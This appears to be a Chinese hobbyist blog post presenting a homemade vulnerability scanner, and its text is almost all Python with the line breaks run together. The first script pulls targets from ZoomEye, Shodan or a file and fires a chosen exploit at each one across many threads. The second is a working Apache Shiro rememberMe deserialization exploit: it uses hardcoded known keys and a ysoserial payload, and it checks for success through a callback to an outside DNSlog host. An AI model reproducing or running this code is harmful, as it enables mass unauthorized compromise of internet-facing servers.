每个黑客爱好者都需要有自己的漏洞扫描器

    # 动态加载选择的漏洞利用代码    exp = importlib.import_module('exp.' + host[int(target)-1] + '.' + pocs[int(flag) - 1][:-3])      # 选择通过zoomeye还是shodan还是文件来导入目标    api_select = input("Zoomeye or Shodan or File (z/s/f):")    if api_select == 'f':        f = input("File:")           with open(f) as x:            targets = x.readlines()    else:             query = input("Query:")        start = int(input("Start_page:"))        end = int(input("End_page:"))         if api_select == 'z':            p = zoomeye(query, start, end)        if api_select == 's':            p = shodan_api(query, start, end)        targets = p.run()

    def check(self):        while self.targets.qsize() > 0:            target = self.targets.get().strip()            try:                self.pbar.update(1)                result = exp.exp(target)                if result:                    self.result.append(result)            except Exception as e:                #print(e)                pass      def run(self):        threads = [gevent.spawn(self.check) for i in range(self.threads_num)]        try:            gevent.joinall(threads)        except KeyboardInterrupt as e:            print ('[WARNING] User aborted')            for res in self.result:                print (res)        self.pbar.close()        print ("Hack it!")        for res in self.result:            print (res)        print("Found ",len(self.result))        print ("End!")

import osimport reimport base64import uuidimport timeimport subprocessimport requestsfrom Crypto.Cipher import AESfrom random import randint JAR_FILE = './lib/ysoserial.jar' # 需要自己下载 https://github.com/frohoff/ysoserial keys='''kPH+bIxk5D2deZiIxcaaaA==4AvVhmFLUs0KTA3Kprsdag==''' def poc(url, rce_command,key):    if '://' not in url:        target = 'https://%s' % url if ':443' in url else 'http://%s' % url    else:        target = url    try:        payload = generator(rce_command, JAR_FILE,key)        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)        #print(key)        #print(r.status_code)    except Exception as e:        #print (e)        pass    return False  def generator(command, fp,key):    if not os.path.exists(fp):        print('Jar zai na ne ?')        raise Exception('jar file not found!')    popen = subprocess.Popen(['java', '-jar', fp, 'URLDNS', command],                             stdout=subprocess.PIPE)    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertext   def exp(target):    for key in keys.split('\n'):        token = "shrio-" + str(randint(100000,999999))        dnslog = 'http://' + token + '.xxxxxx.dnslog.cc'  # 我在Chamd5的dnslog平台注册时地址。        dnslog_api = "http://admin.dnslog.cc/api/dns/xxxxxxxx/%s/" % token         poc(target, dnslog, key.strip())        time.sleep(3)        r = requests.get(dnslog_api)        if r.text != 'False':            return target,key.strip()            break if __name__ == '__main__':    exp('bhst.vip:20020')  # 这是我用docker搭建的靶机，用来验证漏洞